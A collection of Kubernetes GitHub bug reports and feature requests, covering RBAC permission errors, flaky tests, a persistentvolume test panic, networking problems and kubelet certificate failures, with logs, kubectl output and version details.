<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ status forbidden unauthorized\ \r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : minikube 0.18.0 / kubernetes 1.5.3\r -   os    e.g. from /etc/os-release : \r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r i'm trying to query the api server and am getting unexpected results like  forbidden: \ /apis\   when not providing  enough  credentials.\r \r   what you expected to happen  :\r \r according to https://github.com/kubernetes/community/blob/master/contributors/devel/api-conventions.md http-status-codes i expected the server to return a status object with status = 'failure' and code = 403/401.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r  curl -k api-server-url/apis \r \r   anything else we need to know  :\r \r i'm writing a client library, and want to handle errors properly, so any additional help/information or insights into the why of this behavior are very welcome as well :

1.7.0 release blocker:\r https://github.com/kubernetes/ingress/issues/842\r \r

is this a bug report or feature request?  :\r enhancement\r \r   \r   what happened  :\r echo @bsalamat 's proposal in sig-scheduling: there are a few scheduling e2e tests that are flakier than accepted. if you go to  the following link  https://k8s-testgrid.appspot.com/release-1.7-blocking gce-serial-release-1-7&sort-by-failures=  that sorts tests by their failures, you will see that a few scheduler tests are among the top 10. at the same time, reproducing the failures in a personal cluster is sometimes hard. that's why we think that the failures may be related to the fact that our test clusters are not deterministic enough to test all the scheduler logic. some of these functionalities are already tested by our unit tests, but we would like to have better integration test coverage as well. \r

 cc @kubernetes/sig-storage-bugs \r \r hit this in https://github.com/kubernetes/kubernetes/pull/55843\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55843/pull-kubernetes-bazel-test/18828/\r \r    \r e1121 18:57:34.775318      13 goroutinemap.go:165  operation for \ delete-volume8-3  \  failed. no retries permitted until 2017-11-21 18:57:35.275153547 +0000 utc m=+11.944865534  durationbeforeretry 500ms . error: \ error getting deleter volume plugin for volume \\\ volume8-3\\\ : no volume plugin matched\ \r e1121 18:57:34.777969      13 goroutinemap.go:165  operation for \ delete-volume8-4  \  failed. no retries permitted until 2017-11-21 18:57:35.277895529 +0000 utc m=+11.947607508  durationbeforeretry 500ms . error: \ failed to create deleter for volume \\\ volume8-4\\\ : mock plugin error: no deletecalls configured\ \r e1121 18:57:34.779201      13 goroutinemap.go:165  operation for \ delete-volume8-5  \  failed. no retries permitted until 2017-11-21 18:57:35.27915186 +0000 utc m=+11.948863825  durationbeforeretry 500ms . error: \ mock delete error\ \r e1121 18:57:34.800542      13 goroutinemap.go:165  operation for \ delete-volume9-1  \  failed. no retries permitted until 2017-11-21 18:57:35.300444299 +0000 utc m=+11.970156259  durationbeforeretry 500ms . error: \ mock delete error\ \r --- fail: testfindingpreboundvolumes  0.00s \r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x19056d2 \r \r goroutine 49  running :\r testing.trunner.func1 0xc4203683c0 \r \t/root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go_sdk/src/testing/testing.go:711 +0x5d9\r panic 0x1ab3fe0, 0x2672fa0 \r \t/root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go_sdk/src/runtime/panic.go:491 +0x2a2\r k8s.io/kubernetes/pkg/controller/volume/persistentvolume.testfindingpreboundvolumes 0xc4203683c0 \r \tpkg/controller/volume/persistentvolume/index_test.go:971 +0xb22\r testing.trunner 0xc4203683c0, 0x1caedf8 \r \t/root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go_sdk/src/testing/testing.go:746 +0x16d\r created by testing.  t .run\r \t/root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go_sdk/src/testing/testing.go:789 +0x569\r    \r \r i can reproduce by stress testing the tests.\r \r    \r $ go get -u golang.org/x/tools/cmd/stress\r $ go test -o persistentvolume.test -i -v k8s.io/kubernetes/pkg/controller/volume/persistentvolume\r $ stress ./persistentvolume.test -test.v\r /tmp/go-stress294112895                                    \r === run   testsync                                         \r --- pass: testsync  0.02s                                  \r === run   testsyncalphablockvolume                         \r --- pass: testsyncalphablockvolume  0.00s                  \r === run   testmultisync                                    \r --- pass: testmultisync  10.59s                            \r === run   testdeletesync                                   \r e1121 11:42:31.688175   15970 goroutinemap.go:165  operation for \ delete-volume8-3  \  failed. no retries permitted until 2017-11-21 11:42:32.187770283 -0800 pst m=+11.177179646  durationbeforeretry 500ms . error: \ error getting deleter volume plugin for volume \\\ volume8-3\\\ : no volume plugin matched\ \r e1121 11:42:31.690779   15970 goroutinemap.go:165  operation for \ delete-volume8-4  \  failed. no retries permitted until 2017-11-21 11:42:32.190715121 -0800 pst m=+11.180124565  durationbeforeretry 500ms . error: \ failed to create deleter for volume \\\ volume8-4\\\ : mock plugin error: no deletecalls configured\ \r e1121 11:42:31.691689   15970 goroutinemap.go:165  operation for \ delete-volume8-5  \  failed. no retries permitted until 2017-11-21 11:42:32.191639007 -0800 pst m=+11.181048313  durationbeforeretry 500ms . error: \ mock delete error\       \r --- pass: testdeletesync  0.03s                            \r === run   testdeletemultisync                              \r e1121 11:42:31.713821   15970 goroutinemap.go:165  operation for \ delete-volume9-1  \  failed. no retries permitted until 2017-11-21 11:42:32.21380399 -0800 pst m=+11.203213227  durationbeforeretry 500ms . error: \ mock delete error\        \r --- pass: testdeletemultisync  1.88s                       \r === run   testmatchvolume                                  \r --- pass: testmatchvolume  0.00s                           \r === run   testmatchingwithboundvolumes                     \r --- pass: testmatchingwithboundvolumes  0.00s              \r === run   testlistbyaccessmodes                            \r --- pass: testlistbyaccessmodes  0.00s                     \r === run   testallpossibleaccessmodes                       \r --- pass: testallpossibleaccessmodes  0.00s                \r === run   testfindingvolumewithdifferentaccessmodes        \r --- pass: testfindingvolumewithdifferentaccessmodes  0.00s                                                             \r === run   testalphavolumemodecheck                         \r --- pass: testalphavolumemodecheck  0.00s                  \r === run   testalphafilteringvolumemodes                    \r --- pass: testalphafilteringvolumemodes  0.00s             \r === run   testfindingpreboundvolumes                       \r --- fail: testfindingpreboundvolumes  0.00s                \r pan                                                        \r 6 runs so far, 3 failures\r    \r \r interestingly running  testfindingpreboundvolumes  alone doesn't cause the panic. it looks like something caused by interaction with the other tests.\r \r    \r $ stress ./persistentvolume.test -test.v -test.run testfindingpreboundvolumes\r 145 runs so far, 0 failures\r 286 runs so far, 0 failures\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r https://k8s-testgrid.appspot.com/google-gce gci-gce-serial\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r the reason has been found: https://github.com/kubernetes/kubernetes/pull/60953 issuecomment-377383764\r \r the break is caused by:  61089\r \r i will update the e2e tests.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r testing a daemon-set spec, i deleted/recreated it multiple times. at one of the recreations, the daemon-set was not scheduled anymore, and the number of desired pods went to 0  on a 3 nodes cluster :\r \r    \r $ kubectl get ds -n pks-infrastructure\r name             desired   current   ready     up-to-date   available   node selector   age\r nsx-node-agent   0         0         0         0            0           <none>          2m\r    \r \r the kube-apiserver stderr logs shows:\r \r    \r i0404 14:33:01.871517    5724 wrap.go:42  post /apis/extensions/v1beta1/namespaces/pks-infrastructure/daemonsets:  7.588801ms  201   kubectl/v1.9.5  linux/amd64  kubernetes/f01a2bf  30.0.1.3:38984 \r i0404 14:33:01.880581    5724 wrap.go:42  post /apis/apps/v1beta1/namespaces/pks-infrastructure/controllerrevisions:  7.853889ms  409   kube-controller-manager/v1.9.5  linux/amd64  kubernetes/f01a2bf/system:serviceaccount:kube-system:daemon-set-controller  30.0.1.2:50964 \r i0404 14:33:01.881572    5724 rbac.go:116  rbac deny: user \ system:serviceaccount:kube-system:daemon-set-controller\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:kube-system\  \ system:authenticated\   cannot \ get\  resource \ controllerrevisions.apps\  named \ nsx-node-agent-8f5d66fd6\  in namespace \ pks-infrastructure\ \r i0404 14:33:01.881971    5724 wrap.go:42  get /apis/apps/v1beta1/namespaces/pks-infrastructure/controllerrevisions/nsx-node-agent-8f5d66fd6:  633.24µs  403   kube-controller-manager/v1.9.5  linux/amd64  kubernetes/f01a2bf/system:serviceaccount:kube-system:daemon-set-controller  30.0.1.2:50964 \r    \r the kube-controller stderr logs shows:\r \r    \r e0404 14:57:48.743754   10416 daemon_controller.go:265  pks-infrastructure/nsx-node-agent failed with : failed to construct revisions of daemonset: controllerrevisions.apps \ nsx-node-agent-8f5d66fd6\  is forbidden: user \ system:serviceaccount:kube-system:daemon-set-controller\  cannot get controllerrevisions.apps in the namespace \ pks-infrastructure\ \r    \r \r the  default  permissions for the  system:controller:daemon-set-controller  cluster role are:\r \r    \r $ kubectl describe  clusterroles system:controller:daemon-set-controller\r name:         system:controller:daemon-set-controller\r labels:       kubernetes.io/bootstrapping=rbac-defaults\r annotations:  rbac.authorization.kubernetes.io/autoupdate=true\r policyrule:\r   resources                         non-resource urls  resource names  verbs\r   ---------                         -----------------  --------------  -----\r   events                                                                create patch update \r   nodes                                                                 list watch \r   pods                                                                  create delete list patch watch \r   pods/binding                                                          create \r   controllerrevisions.apps                                              create delete list patch update watch \r   daemonsets.apps                                                       get list watch \r   daemonsets.apps/finalizers                                            update \r   daemonsets.apps/status                                                update \r   daemonsets.extensions                                                 get list watch \r   daemonsets.extensions/finalizers                                      update \r   daemonsets.extensions/status                                          update \r    \r \r seems to be missing a  get  permission for the  controllerrevisions.apps  resource. i edited manually the cluster-role adding the  get  permission and then the daemonset was scheduled again.\r \r   what you expected to happen  :\r \r the  system:controller:daemon-set-controller  cluster role default permissions should allow getting the  controllerrevisions.apps  resource.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i tried to reproduce it again, but i'm unable to find the exact pattern to reproduce it. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.2 \r - cloud provider or hardware configuration:  vsphere \r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r    \r - kernel  e.g.  uname -a  :  linux dc9711b4-9208-444b-9eac-78048ca082a5 4.4.0-116-generic  140~14.04.1-ubuntu smp fri feb 16 09:25:20 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

 \r   what happened  :\r \r i deployed a fresh custom ha kubernetes v1.10.2 cluster with 3 nodes  all controller and worker currently, more workers planned . i then created a namespace called \ stummi\  and a rolebinding with \ user=stummi clusterrole=admin\  in this namespace.\r \r user stummi  successfully authenticated by tls client certificate  was not able to list pods or anything else in his namespace:\r    \r   kubectl --kubeconfig kubeconfigs/stummi get po\r error from server  forbidden : pods is forbidden: user \ stummi\  cannot list pods in the namespace \ stummi\ \r    \r \r while trying to figure things out, i downgraded to v1.8.11  a version without cluster role aggregation, that worked  and also tried v1.11 alpha2  which did not work . i never purged my etcd and i sadly do not have logs from before the different versions.\r \r shortly after posting on slack and before writing this ticket, i dumped the cluster roles in question:\r \r    \r   kubectl get clusterrole admin -o yaml\r aggregationrule:\r   clusterroleselectors:\r   - matchlabels:\r       rbac.authorization.k8s.io/aggregate-to-admin: \ true\ \r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   annotations:\r     rbac.authorization.kubernetes.io/autoupdate: \ true\ \r   creationtimestamp: 2018-05-11t20:53:53z\r   labels:\r     kubernetes.io/bootstrapping: rbac-defaults\r   name: admin\r   resourceversion: \ 878809\ \r   selflink: /apis/rbac.authorization.k8s.io/v1/clusterroles/admin\r   uid: 6a60746c-555d-11e8-ab3c-c6aec8d08f6d\r rules: null\r    \r \r    \r   kubectl get clusterrole system:aggregate-to-admin -o yaml\r aggregationrule:\r   clusterroleselectors:\r   - matchlabels:\r       rbac.authorization.k8s.io/aggregate-to-admin: \ true\ \r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   annotations:\r     rbac.authorization.kubernetes.io/autoupdate: \ true\ \r   creationtimestamp: 2018-05-08t12:12:25z\r   labels:\r     kubernetes.io/bootstrapping: rbac-defaults\r     rbac.authorization.k8s.io/aggregate-to-admin: \ true\ \r   name: system:aggregate-to-admin\r   resourceversion: \ 878803\ \r   selflink: /apis/rbac.authorization.k8s.io/v1/clusterroles/system%3aaggregate-to-admin\r   uid: 11817469-52b9-11e8-8879-c6aec8d08f6d\r rules: null\r    \r note the  null  rules.\r \r   what you expected to happen  :\r \r i expected user stummi to be able to do most things in his namespace.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl create ns stummi\r kubectl -n stummi create rolebinding --user stummi --clusterrole admin stummi-admin-binding\r    \r \r \r   anything else we need to know?  :\r \r i posted this problem on slack and @liggitt helped me and wanted this issue opened.\r  \r the cluster is deployed with ansible and i can give the playbooks when required.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: 3 virtual machines  2 cores, 8gb memory \r - os  e.g. from /etc/os-release : debian stretch\r - kernel  e.g.  uname -a  :  linux pacific 4.9.0-6-amd64  1 smp debian 4.9.88-1  2018-04-29  x86_64 gnu/linux \r - install tools: custom ansible playbooks\r - others:\r \r please let me know if you need more information. i'm happy to provide everything you need to fix this : \r

 \r   what happened  :\r 1. create a manual network and subnetwork\r 2. attempt to delete the network using the generated cloud client.\r 3. observe that the call will return err=nil\r 4. observe that the network still exists.\r \r the final operation indicated an error occurred but the client did not say that.\r    \r {\r         \ endtime\ : \ 2018-06-06t15:27:36.717-07:00\ ,\r         \ error\ : {\r                 \ errors\ :  \r                         {\r                                 \ code\ : \ resource_in_use_by_another_resource\ ,\r                                 \ message\ : \ the network resource 'projects/xxxxxxxxx/global/networks/xxxxxx' is already being used by 'projects/xxxxxx/regions/us-central1/subnetworks/xxxxxxxxx'\ \r                         }\r                  \r         },\r         \ httperrormessage\ : \ bad request\ ,\r         \ httperrorstatuscode\ : 400,\r         \ id\ : \ 4694915146768048441\ ,\r         \ inserttime\ : \ 2018-06-06t15:27:34.259-07:00\ ,\r         \ kind\ : \ compute operation\ ,\r         \ name\ : \ operation-1528324053977-56e00ac56c7a8-98b57bfc-98d05a88\ ,\r         \ operationtype\ : \ delete\ ,\r         \ progress\ : 100,\r         \ starttime\ : \ 2018-06-06t15:27:34.937-07:00\ ,\r         \ status\ : \ done\ ,\r         \ targetid\ : \ 2241447505930421231\ ,\r    \r \r  /assign nicksardo bowei\r /cc @mrhohn @rramkumar1

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r pod cannot connect to apiserver.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r when i setup kubernetes, it works fine. but i suddenly found the pod cannot connect to apiserver.\r \r   anything else we need to know?  :\r \r    \r reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.10.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.10.0.1:443: getsockopt: connection timed out\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r \r linux k8s1.aibee.cn 3.10.0-862.el7.x86_64  1 smp fri apr 20 16:44:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r kubernetes the hard way.\r \r - others:\r \r i don't know how to troubleshoot this problem, i have view kubernetes control node log, but nothing can help.\r any hint or help is appreciate!\r

copy of https://github.com/vmware/kubernetes/issues/519 because this repository is archived.\r \r   what happened  :\r using openshift with vsphere cloud provider, works as expected till you  add multiple egressips  https://docs.okd.io/latest/admin_guide/managing_networking.html enabling-static-ips-for-external-project-traffic . after adding multiple  egress ips  the cloud provider changes the  host ip  randomly to a ip which is available on node. with this behavior we get routing problems inside the openshift-cluster.\r \r normal and expected state:\r \r    \r 11:20 $ oc get hostsubnet\r name                                 host                                 host ip       subnet           egress cidrs       egress ips\r s-cp-infra-01.cloud.mycompany.com    s-cp-infra-01.cloud.mycompany.com    10.20.15.31   10.128.0.0/23     10.20.15.96/28      \r s-cp-infra-02.cloud.mycompany.com    s-cp-infra-02.cloud.mycompany.com    10.20.15.32   10.129.0.0/23     10.20.15.96/28      \r s-cp-infra-03.cloud.mycompany.com    s-cp-infra-03.cloud.mycompany.com    10.20.15.33   10.130.14.0/23    10.20.15.96/28     10.20.15.102, 10.20.15.98, 10.20.15.99, 10.20.15.100, 10.20.15.97, 10.20.15.101, 10.20.15.103 \r s-cp-master-01.cloud.mycompany.com   s-cp-master-01.cloud.mycompany.com   10.20.15.11   10.131.0.0/23                         \r ...\r    \r \r s-cp-infra-03.cloud.mycompany.com changes the ip address nearly every second which one ips available trough  egress ips  and the  host ip \r \r    \r name                                 host                                 host ip       subnet           egress cidrs       egress ips\r s-cp-infra-01.cloud.mycompany.com    s-cp-infra-01.cloud.mycompany.com    10.20.15.31   10.128.0.0/23     10.20.15.96/28      \r s-cp-infra-02.cloud.mycompany.com    s-cp-infra-02.cloud.mycompany.com    10.20.15.32   10.129.0.0/23     10.20.15.96/28      \r s-cp-infra-03.cloud.mycompany.com    s-cp-infra-03.cloud.mycompany.com    10.20.15.99   10.130.14.0/23    10.20.15.96/28     10.20.15.102, 10.20.15.98, 10.20.15.99, 10.20.15.100, 10.20.15.97, 10.20.15.101, 10.20.15.103 \r s-cp-master-01.cloud.mycompany.com   s-cp-master-01.cloud.mycompany.com   10.20.15.11   10.131.0.0/23                         \r .. \r    \r \r   what you expected to happen  :\r host ip should be stable\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - install openshift\r - configure vsphere cloudprovider\r - add add least seven  egress ips \r \r \r   anything else we need to know?  :\r \r  - i didn't noticed any problem with disc attach and detach\r  - flapping starts with seven ips on one interface. in my case one hostip, five  egress ips  and one local ipv6\r \r   environment  :\r \r       kubernetes version  use  kubectl version  :\r \r \r    \r oc v3.11.0+0cbc58b\r kubernetes v1.11.0+d4cacc0\r features: basic-auth gssapi kerberos spnego\r \r server https://s-openshift.mycompany.com:443\r openshift v3.11.0+6c2b013-59\r kubernetes v1.11.0+d4cacc0\r    \r \r       cloud provider or hardware configuration:\r \r \r    \r  global \r     user = \ xxxxx@vsphere.local\ \r     password = \ xxxxxxx\ \r     port = 443\r     insecure-flag = 1\r     datacenter = \ ocp-datacenter\ \r \r  virtualcenter \ 10.4.4.102\  \r \r  workspace \r     server = \ 10.4.4.102\ \r     datacenter = \ ocp-datacenter\ \r     folder = \ /ocp-datacenter/vm/\ \r     default-datastore = \ iscsi-hdd\ \r \r  disk \r     scsicontrollertype = pvscsi\r \r  network \r     public-network = \ n-vlan-openshift-staging-pub\ \r    \r \r       os  e.g. from /etc/os-release :\r \r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r       kernel  e.g.  uname -a  :\r \r \r    \r linux s-cp-master-01.cloud.mycompany.com 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 29 14:49:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

the godoc for api types should not contain the name of the type -- user-facing documentation is generated from these comments, and users shouldn't be exposed to golang type names.  related  18673

i would like to be able to use aws ecr registry across accounts. would it be feasible to add registryids as input to getauthorizationtokeninput?  https://github.com/kubernetes/kubernetes/blob/master/pkg/credentialprovider/aws/aws_credentials.go l194

hit an issue with the pet set states switching from   running state   to   init state  . initially i thought the pods aren't running but later figured out that the containers are actually running but the container state is not consistent with the pod state in kubernetes api.     issue      container state: running pod state: pending         kubernetes cluster version      kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:22:25z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        kubernetes get pod state      kubectl get po -l app=zk name      ready     status     restarts   age zoo-0     0/1       init:0/2   0          13h zoo-1     0/1       init:0/2   0          13h zoo-2     0/1       init:0/2   0          13h        kubernetes describe pod state      kubectl describe po zoo-0 name:       zoo-0 namespace:  default node:       ip-1-2-3-4.region.compute.internal/10.1.2.3 start time: tue, 02 aug 2016 20:33:34 +0400 labels:     app=zk         name=zoo status:     pending ip:     10.24.1.2 controllers:    petset/zoo init containers:   install:     container id:        image:      gcr.io/google_containers/zookeeper-install:0.1     image id:            port:            args:       --version=3.5.0-alpha       --install-into=/opt       --work-dir=/work-dir     state:          waiting       reason:           podinitializing     ready:          false     restart count:      0     environment variables:  <none>   bootstrap:     container id:        image:      java:openjdk-8-jre     image id:            port:            command:       /work-dir/peer-finder     args:       -on-start=\ /work-dir/on-start.sh\        -service=zk     state:      waiting       reason:       podinitializing     ready:      false     restart count:  0     environment variables:       pod_namespace:    default  v1:metadata.namespace  containers:   zk:     container id:   docker://4a2e193fa6c86559c9387a0ee473596be59cff2fb7dcd10ca9bb08c9918e6d13     image:      java:openjdk-8-jre     image id:       docker://sha256:372859dd1c695759fe765be375346390ddd393f76fa84319630d1d64b85b9806     ports:      2888/tcp, 3888/tcp     command:       /opt/zookeeper/bin/zkserver.sh     args:       start-foreground     state:          running       started:          tue, 02 aug 2016 20:33:58 +0400     ready:          true     restart count:      0     readiness:          exec  sh -c /opt/zookeeper/bin/zkcli.sh ls /  delay=15s timeout=5s period=10s  success=1  failure=3     environment variables:  <none> conditions:   type      status   initialized   false    ready     true    podscheduled  true  volumes:   datadir:     type:   persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace      claimname:  datadir-zoo-0     readonly:   false   workdir:     type:   emptydir  a temporary directory that shares a pod's lifetime      medium:    opt:     type:   emptydir  a temporary directory that shares a pod's lifetime      medium:  qos tier:   besteffort no events.         container state      core@ip-1-2-3-4 ~ $ docker ps | grep zoo-0 4a2e193fa6c8        java:openjdk-8-jre                         \ /opt/zookeeper/bin/z\    13 hours ago        up 13 hours                                                    k8s_zk.484fe5b9_zoo-0_default_db0ce747-58ce-11e6-8261-02548dfad2e5_4424c4ea 1b74ed7351fd        gcr.io/google_containers/pause-amd64:3.0   \ /pause\                  13 hours ago        up 13 hours                                                    k8s_pod.85382e2a_zoo-0_default_db0ce747-58ce-11e6-8261-02548dfad2e5_18dc3c54         node state      system info:  machine id:            id  system uuid:           uuid  boot id:           boot_id  kernel version:        4.6.3-coreos  os image:          coreos 1068.8.0  moreos   operating system:      linux  architecture:          amd64  container runtime version: docker://1.10.3  kubelet version:       v1.3.3  kube-proxy version:        v1.3.3

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  - \ crypto/tls: failed to parse certificate pem data\   ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : v1.2.4      server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4+coreos.cni.1\ , gitcommit:\ 89e3af04ef436f049e2e2d169e57ad1712cac375\ , gittreestate:\ clean\         environment  : -   cloud provider or hardware configuration  : aws ec2 instance -   os    e.g. from /etc/os-release : coreos 1010.4.0  moreos  -   kernel    e.g.  uname -a  :  linux ip-10-0-2-42.ec2.internal 4.5.0-coreos-r1  2 smp tue may 24 17:45:36 utc 2016 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux  -   install tools  :   kube-aws   https://github.com/coreos/coreos-kubernetes/blob/master/multi-node/aws/readme.md  -   others  :    what happened  : the  kubelet  service failed  reason unknown  attempting to restart  kubelet  failed, with:       crypto/tls: failed to parse certificate pem data      see full logs and rambling thoughts below.    what you expected to happen  :  expected kubelet not to fail, and for kubelet to restart, if it did fail.    how to reproduce it    as minimally and precisely as possible : ?    anything else do we need to know  :     full logs and rambling thoughts:  after noticing that the node was _notready_      $ journalctl -u kubelet -- logs begin at sun 2016-10-16 07:16:48 utc, end at mon 2016-10-17 14:01:01 utc. -- oct 16 12:01:27 ip-10-0-2-42.ec2.internal kubelet-wrapper 1276 : e1016 12:01:27.793814    1276 fshandler.go:106  failed to collect filesystem stats - du command failed on /var/lib/docker/overlay/d5db24c3fbe5fbfbdbeaab9d479958c352a0a8740298 oct 16 12:01:27 ip-10-0-2-42.ec2.internal kubelet-wrapper 1276 : , stderr: du: cannot access '/var/lib/docker/overlay/d5db24c3fbe5fbfbdbeaab9d479958c352a0a874029848cc31e0a97d686a9bd3/upper/tmp/tmp-5039jz3bgus1nfdw': no such file or directory oct 16 12:01:27 ip-10-0-2-42.ec2.internal kubelet-wrapper 1276 : - exit status 1 oct 16 12:48:40 ip-10-0-2-42.ec2.internal kubelet-wrapper 1276 : e1016 12:48:40.543457    1276 event.go:193  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ kube-dns- 